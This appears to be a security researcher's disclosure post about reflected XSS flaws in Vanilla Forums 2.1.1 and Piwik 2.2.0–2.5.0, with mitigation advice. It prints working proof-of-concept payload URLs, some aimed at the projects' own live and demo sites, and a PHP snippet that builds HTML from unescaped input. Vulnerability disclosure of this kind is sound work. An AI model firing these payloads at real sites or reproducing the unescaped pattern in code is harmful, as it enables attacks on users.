XSS Vulnerability Shows How Security Issues Can Creep into Popular Software

After some testing work against the latest releases of two popular applications, Vanilla Forum 2.1.1 and Piwik 2.5.0, I found out that both suffer from cross site scripting (XSS) vulnerabilities caused by a lack of input validation. As a consequence, thousands of live websites using these applications are exposed to XSS attacks due to the wide usage of these two open source web applications.

How Were These Vulnerabilities Introduced in the Application?

When tracking the roadmap of Vanilla Forums, I was surprised that Vanilla Forums developers were actually using a filter to remove dangerous characters from the user-supplied value of parameter DeliveryType in the previous Vanilla 2.0 version (tested with Vanilla 2.0 version).  I could not figure out the reason for removing the filter, but I assume it was accidental. When it comes to Piwik, the vulnerabilities were introduced when a new function was added into Piwik since Piwik 2.2.0 was release on April 7, 2014. When the new function was implemented, no security method was adopted to remove potential security threats. Just give another peek at the roadmap of the security report of Piwik, and you will find that there is a long history of fighting against XSS in this application. But it was hard to eliminate this kind of vulnerability completely because there are always new features added. Same thing happens to Vanilla Forums. A lot of vulnerabilities have been reported and fixed in the past several years if you check the CVE List. However, Vanilla is still suffering from XSS vulnerabilities that were actually eliminated in the previous version. These two examples are not going to conclude that new version is worse than an older version from a security perspective. But it should make you keep in mind that it is very likely that risks of security threats are growing with new features or changes in your web applications due to neglect or lack of security background when the changes or features are implemented in your applications.

How Could I Reduce the Risk?

As a web developer, input validation is always a good solution to combat against web application threats.  Whenever a new feature or changes has been made into your application, you should try to escape user input before putting it in a query. From a web host perspective, you should employ some web application scanners or pen testers to discover the potential threats in your web application and deploy some mod security method, like Qualys Web Application Firewall to block malicious requests.

Vanilla Forums

Vanilla Forums is an open source forum and community software.  It powers more than 700,000 discussion forums sites according to the statement at its official website.

During authentication, a user will use the following request to sign in:

POST /vanilla_2_1_1/index.php?p=/entry/signin HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.example.com/vanilla_2_1_1/
Content-Length: 205
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

Post Data:

TransientKey=5f591323e2d5ec7a&hpt=&Target=discussions&ClientHour=2014-08-09+00%3A00
&Email=username&Password=password&Sign_In=Sign+In&RememberMe=1&Checkboxes%5B%5D=RememberMe
&DeliveryType=VIEW&DeliveryMethod=JSON

No filters are implemented to check and filter potential dangerous characters for the user input value of parameter DeliveryType, which allows an attacker to inject any malicious JavaScript code into the request.

Proof of Concept

Open the host in IE 8 (tested with IE8.0.6001.17184), IE 7 or IE 6. Otherwise, modern browsers will not parse the content of the page whose content type is application/json as text/html.

http://yourvanillaforumshost/index.php/.html?p=/entry/signin&TransientKey=&hpt=&Target=discussions
&ClientHour=&Email=&Password=&Sign_In=Sign+In&RememberMe=1&Checkboxes%5B%5D=RememberMe
&DeliveryType=%22}%3Cimg%20src%3da%20onerror%3dalert('XSS')%3E&DeliveryMethod=JSON

Or against vanilla forum live website

http://vanillaforums.org/index.php/.html?p=/entry/signin&TransientKey=&hpt=&Target=discussions
&ClientHour=&Email=&Password=&Sign_In=Sign+In&RememberMe=1&Checkboxes[]=RememberMe
&DeliveryType=%22}%3Cimg%20src%3da%20onerror%3dalert('XSS')%3E&DeliveryMethod=JSON

Screenshot of the XSS vulnerability against the official Vanilla Form Website

Affected Version:

Vanilla Forum 2.1.1

Piwik

Piwik is a web analytics application to track online visits and display reports about the tracking result. It has been used by over 1,000,000 websites.

When the web user is using image tracking method to track the visitors, the following request will be triggered:

http://yourpiwikhost/index.php/.html?date=yesterday&module=API&format=json
&method=SitesManager.getImageTrackingCode&idSite=1&period=day
&piwikUrl=http://yourapplication/piwik/&actionName=&token_auth=12121

After reviewing the source code, you would find that there is not security check for the parameter piwikUrl and idSite before it is sent to the server.

Piwik::postEvent('SitesManager.getImageTrackingCode', array(&$piwikUrl, &$urlParams));
  $piwikUrl = (ProxyHttp::isHttps() ? "https://" : "http://") . $piwikUrl . '/piwik.php';
  return "<!-- Piwik Image Tracker-->
  <img src=\"$piwikUrl?" . Url::getQueryStringFromParameters($urlParams) . "\" style=\"border:0\" alt=\"\" />
    <!-- End Piwik -->";
 }

Proof of Concept

http://yourpiwikhost/index.php/.html?date=yesterday&module=API&format=json
&method=SitesManager.getImageTrackingCode&idSite=1&period=day
&piwikUrl=%3Cimg%20src%3da%20onerror%3dalert('XSS')%3E&actionName=&token_auth=12121

Against the Piwik demo website:

http://demo.piwik.org/index.php/.html?date=yesterday&module=API&format=json
&method=SitesManager.getImageTrackingCode&idSite=1&period=day
&piwikUrl=%3Cimg%20src%3dx%20onerror%3dalert('XSS')%3E&actionName=&token_auth=12121

Screenshot of the XSS vulnerability against the official Piwik demo website

Affected Version

Piwik 2.2.0 to Piwik 2.5.0

How to Exploit

One common behavior of these two cross site scripting vulnerabilities on these two websites is that the content type of the response page where the vulnerability lays in is application/json. Though I could not exploit this vulnerability in modern browsers since modern browsers do not render response pages with content type application/json, but this vulnerability definitely exposes users in danger if they are using an old version of IE browsers. An article about JSON-based XSS exploitation has introduced a good method to exploit this vulnerability under IE6, IUE7, IE8 and IE 9 by taking advantage of insufficient support of application/json response in these browsers.

By referring to the methods provided in the article, I have confirmed that this vulnerability could be reproduced and exploited with IE8 (Exploited with IE8.0.6001.17184), IE7 and IE6. But I was unable to exploit the vulnerability with IE9 because the response page whose content type is application/json could not be rendered by IE 9.